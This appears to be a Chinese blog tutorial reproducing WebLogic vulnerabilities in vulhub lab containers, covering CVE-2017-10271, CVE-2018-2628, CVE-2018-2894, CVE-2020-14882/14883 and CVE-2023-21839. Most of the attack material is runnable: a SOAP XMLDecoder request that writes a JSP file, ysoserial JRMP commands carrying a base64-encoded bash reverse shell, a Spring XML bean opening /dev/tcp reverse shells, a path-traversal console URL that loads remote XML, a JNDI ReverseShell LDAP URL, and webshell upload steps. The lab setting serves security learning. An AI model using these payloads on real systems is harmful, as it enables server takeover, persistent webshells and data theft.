vulhub weblogic全系列靶场

2024-04-18 06:28

本文主要是介绍vulhub weblogic全系列靶场,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

简介

Oracle WebLogic Server 是一个统一的可扩展平台,专用于开发、部署和运行 Java 应用等适用于本地环境和云环境的企业应用。它提供了一种强健、成熟和可扩展的 Java Enterprise Edition (EE) 和 Jakarta EE 实施方式。

需要使用的工具

ysoserial使用不同库制作的放序列化工具:

GitHub - frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
weblogic集成的图形化攻击工具:

https://github.com/KimJun1010/WeblogicTool

JNDIMap 是一个 JNDI 注入利用工具, 支持 RMI 和 LDAP 协议, 包含多种高版本 JDK 绕过方式

X1r0z/JNDIMap: JNDI 注入利用工具, 支持 RMI 和 LDAP 协议, 包含多种高版本 JDK 绕过方式 (github.com)

CVE-2017-10271

XXE漏洞

0x00 漏洞产生原因

CVE-2017-10271的漏洞产生原因简单来说就是weblogic的WLS Security组件对外提供的webserver服务调用了XMLDecode去解析了用户传入的XML数据,在解析过程中出现了反序列化漏洞,导致了攻击者可以通过精心构建的漏洞来达到任意命令执行

0x01 影响范围

10.3.6.0        12.1.3.0.0        12.2.1.1.0

0x02 漏洞地址

/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

这里我将这些地址添加进dirsearch的字典了,原版只有wls-wsat/CoordinatorPortType路径,

###每一次遇到一些漏洞的地址都可以添加进去

默认使用字典地址/usr/lib/python3/dist-packages/dirsearch/db/dicc.txt

!!!!注意我这里时使用的apt安装的dirsearch

0x03 环境

docker-compose搭建的vulhub靶场CVE-2017-10271

0x04 漏洞复现

1. 手工

poc

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string><void method="println">
<string><![CDATA[
<% out.print("webshell"); %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/>
</soapenv:Envelope>

访问存在漏洞的页面

使用hackbar随意传入一个post参数

将poc传入执行

只需要修改content-type为text/xml即可

访问可知成功写入,后续可通过此poc写入jsp马子

2. 漏洞利用工具

直接放入存在漏洞的url然后选择使用CVE_2017_10271漏洞,直接就可利用

CVE-2018-2628

反序列化漏洞

0x00 漏洞产生原因

该漏洞是因为T3协议而触发的反序列化漏洞,造成的任意命令执行漏洞,导致未授权用户远程命令执行

0x01 影响范围

10.3.6.0    12.1.3.0    12.2.1.2    12.2.1.3

0x02 环境

docker搭建的vulhub靶场

靶场地址:172.28.10.221:7001

0x03 漏洞复现

1.nmap扫是否是T3协议

一般T3协议是默认开启的,但也需要扫一下看是否存在,说不定开发人员给关了

nmap -T4 -sV -O -p 7001 --script weblogic-t3-info 127.0.0.1

-T4   设置扫描速度(1-6)                               -sV    对端口的服务进行扫描

-O    服务器系统扫描                                        -p       指定扫描端口

--script   指定文件脚本

需要使用weblogic-t3-info模块指定去扫是否有T3协议####只针对没打补丁的情况下的检测

(这里我在本地搭建的所以使用的是127.0.0.1)

也可使用集成的工具直接扫

2.漏洞检测(利用dnslog外带)

这里使用的是bp自带的工具

3.漏洞复现

攻击流程

被攻击机——》攻击机(jrmp服务)——》回到被攻击机执行命令——》攻击机接收到shell

在攻击机上执行一下命令

 java -cp ./ysoserial.jar ysoserial.exploit.JRMPListener+<监听端口>+<java1.7以上则填Jdk7u21>+<要执行的命令>

 java -cp ./ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections3 'calc'

 攻击机监听端口

尝试将反弹shell到攻击机

将bash命令加密一下

Runtime.exec Payload Generater | AresX's Blog (ares-x.com)

开启服务

./java -cp ./ysoserial.jar ysoserial.exploit.JRMPListener 9999 Jdk7u21 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjgwLzEyMzQ1IDA+JjE=}|{base64,-d}|{bash,-i}'

这里注意java需要使用jre版本的,并且需要下载ysoserial放在java的bin目录里(也可放在其他地方使用绝对路径调用)

使用工具通过漏洞让被攻击机访问攻击机开启的服务

收到访问流量

成功拿到shell

CVE-2018-2894

任意文件上传漏洞

0x00 漏洞产生原因

weblogic未授权的两个页面存在任意文件上传

Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在“生产模式”下默认不开启,所以该漏洞有一定限制

0x01 影响范围

10.3.6.0        12.1.3.0        12.2.1.2        12.2.1.3

0x02 环境

weblogic服务器ip:172.28.10.221

还是使用docker搭建环境

0x03 复现信息

  1. 漏洞存在的页面:/ws_utc/begin.do、/ws_utc/config.do
  2. 登录账户密码使用命令查看docker-compose logs | grep password

0x04 漏洞复现

访问漏洞存在的页面

使用获取的账户密码登录(真实环境肯定是需要其他方法进入的,比如弱口令、未授权访问这些)

访问console目录自动跳转登录

启动web测试服务页

然后访问/ws_utc/config.do

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

这里把工作目录换为以上路径

bp抓包得到时间戳

因为他的命名方式为时间戳_名字.jsp

上传成功后访问此路径

/ws_utc/css/config/keystore/文件

能访问到就算成功

我这里使用的是冰蝎自带的马子

密码默认的

rebeyond

拿到webshell

CVE-2020-14882——CVE-2020-14883

管理控制台未授权远程命令执行漏洞

0x00 漏洞产生原因

CVE-2020-14882这个漏洞会造成未授权访问,而CVE-2020-14883允许后台用户通过http协议执行任意命令,这两个漏洞联合起来组成的利用链就可以达到任意命令执行的效果

0x01 影响范围

 10.3.6.0.0        12.1.3.0.0        12.2.1.3.0        12.2.1.4.0        14.1.1.0.0

0x02 环境

weblogic服务ip:172.28.10.21

 依旧是docker搭建

0x03 漏洞复现

正常访问登录页面会回显让登录

恶意构造的url,这里%252e%252e%252其实就是两次url加密后的../

/console/css/%252e%252e%252fconsole.portal

这是未授权访问的情况,因为是未授权访问所以这里缺少很多功能

方式1:

com.tangosol.coherence.mvel2.sh.ShellSession

使用此类的方法但是有局限性,只能在weblogic12.2.1以上版本能用,10.3.6版本并不存在此类

########因为这个靶场似乎不能使用还是怎么的,我做起来有问题,所以不做过多展示,直接使用法2

方法2:(这里注意,如果虚拟机不能过物理机防火墙那就把防火墙关了)

com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

此方法和CVE-2017-10271很相似,也是用到了XML解析的方法反弹shell,但是是让服务器去访问在攻击机上构造的xml文件,然后达到反弹shell的目的

首先写一个xml文件,这里我放在桌面的

例如:

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>/bin/bash</value><value>-c</value><value><![CDATA[bash -i >& /dev/tcp/ip/1234 0>&1]]></value></list></constructor-arg></bean>
</beans>

然后python开启http服务

这里注意,在哪个文件夹下开启的,那么这个文件夹就是根目录

nc监听一下

payload:

http://172.28.10.221:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.1.194/1.xml")

CVE-2023-21839

0x00 漏洞产生原因

 和CVE2018-2628很相似,都是因为T3协议的缺陷造成的允许未经身份验证的攻击者通过T3协议网络访问攻击存在安全风险的WebLogic Server,漏洞利用成功WebLogic Server可能被攻击者接管执行任意命令导致服务器沦陷或者造成严重的敏感数据泄露

0x01 影响范围

12.2.1.2.0        12.2.1.1.0        12.2.1.3.0        12.2.1.0.0        12.2.1.4.0        14.1.1.0.0        12.1.2.0.0        12.1.3.0.0        10.3.6.0       

0x02 漏洞测试

用nmap的weblogic-t3-info扫一下是否存在T3协议

 nmap -sV -O -T4 -p 7001 --script weblogic-t3-info 127.0.0.1

这里我是搭建在本地的所以使用127.0.0.1

这一题同样还是使用dnslog外带看是否存在漏洞

利用bp现成的工具

成功收到信息

0x03 漏洞复现

漏洞复现呢可以使用集成的工具更方便,也可使用poc

使用JNDI攻击

使用jndimap构造服务,利用jndi攻击拿shell

攻击机开启服务

java -jar 'C:\Program Files\Java\JNDIMap-main\target\JNDIMap.jar' -i 本机ip

监听端口

使用工具构造攻击

#####使用虚拟机搭建靶场的注意关闭攻击机防火墙

ldap://开启IDAP服务的服务器ip:1389/Basic/ReverseShell/攻击机ip/4444 ldap://127.0.0.1:1389/Basic/ReverseShell/MTI3LjAuMC4x/NDQ0NA==

拿到shell

######这里后续会补充ssrf和weak_password的漏洞复现

这篇关于vulhub weblogic全系列靶场的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/913996

相关文章

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

log4j靶场,反弹shell

1.用vulhub靶场搭建,首先进入目录CVE-2021-44228中,docker启动命令 2.发现端口是8983,浏览器访问http://172.16.1.18:8983/ 3.用dnslog平台检测dns回显,看看有没有漏洞存在 4.反弹shell到kali(ip为172.16.1.18)的8888端口 bash -i >& /dev/tcp/172.16.1.18

vulhub GhostScript 沙箱绕过(CVE-2018-16509)

1.执行以下命令启动靶场环境并在浏览器访问 cd vulhub/ghostscript/CVE-2018-16509 #进入漏洞环境所在目录   docker-compose up -d #启动靶场   docker ps #查看容器信息 2.访问网页 3.下载包含payload的png文件 vulhub/ghostscript/CVE-2018-16509/poc.png at

【vulhub】thinkphp5 2-rce 5.0.23-rce 5-rce 漏洞复现

2-rec 1.启动环境  cd /.../vulhub/thinkphp/2-rce # cd进入2-rce靶场文件环境下docker-compose up -d # docker-compose启动靶场docker ps -a # 查看开启的靶场信息 2.访问192.168.146.136:8080网页 3.构造payload http

红日靶场----(四)1.后渗透利用阶段

使用Metasploit进入后渗透利用阶段     一旦我们获取了目标主机的访问权限,我们就可以进入后渗透利用阶段,在这个阶段我们收集信息,采取措施维护我们的访问权限,转向其他机器     Step01:上线MSF(通过metasploit获取目标系统的会话-即SHELL) 常用选项-p //指定生成的Payload--list payload //列出所支持的Payload类

【红日靶场】ATTCK实战系列——红队实战(一)手把手教程

目录 入侵网络的思路 一些概念 (1)工作组 (2)域 (3)账号 红日靶机(一) 网络结构 下载 配置web服务器的两张网卡 配置内网的两台机器(域控和域内主机) 渗透web服务器 外网信息搜集 (1)外网信息搜集的内容 (2)开始信息搜集(主要是利用工具) 漏洞利用 (1)漏洞利用的两种方式 (2)利用phpMyAdmin (3)开启3389端口远程桌面

tomato靶场攻略

1.使用nmap扫描同网段的端口,发现靶机地址 2.访问到主页面,只能看到一个大西红柿 3.再来使用dirb扫面以下有那些目录,发现有一个antibot_image 4.访问我们扫到的地址 ,点金目录里看看有些什么文件 5.看到info.php很熟悉,点进去看看   6.查看源代码发现是通过GET方式传参的 ,有文件包含漏洞 7. 利用文件包含漏洞,我们尝试查看一

启动WebLogic报错汇总

在所要操作的服务器目录下,找到security目录下,建立boot.properties,创建username=XXXX   password=XXXXX

命令行启动WebLogic报错JDK...

在命令行启动WebLogic报错不应有JDK...的信息时,说明jdk安装路径不合法。 配置WebLogic时,要求JDK的路径不能含有中文,括号,空格或特殊符号。

命令行启动WebLogic

cmd 命令进入WebLogic的安装目录下 G:\Server\WebLogic10\user_projects\domains\base_domain\bin 在命令行执行startManagedWebLogic.cmd命令+url+port(设置的端口号)      startManagedWebLogic.cmd http://127.0.0.1:7010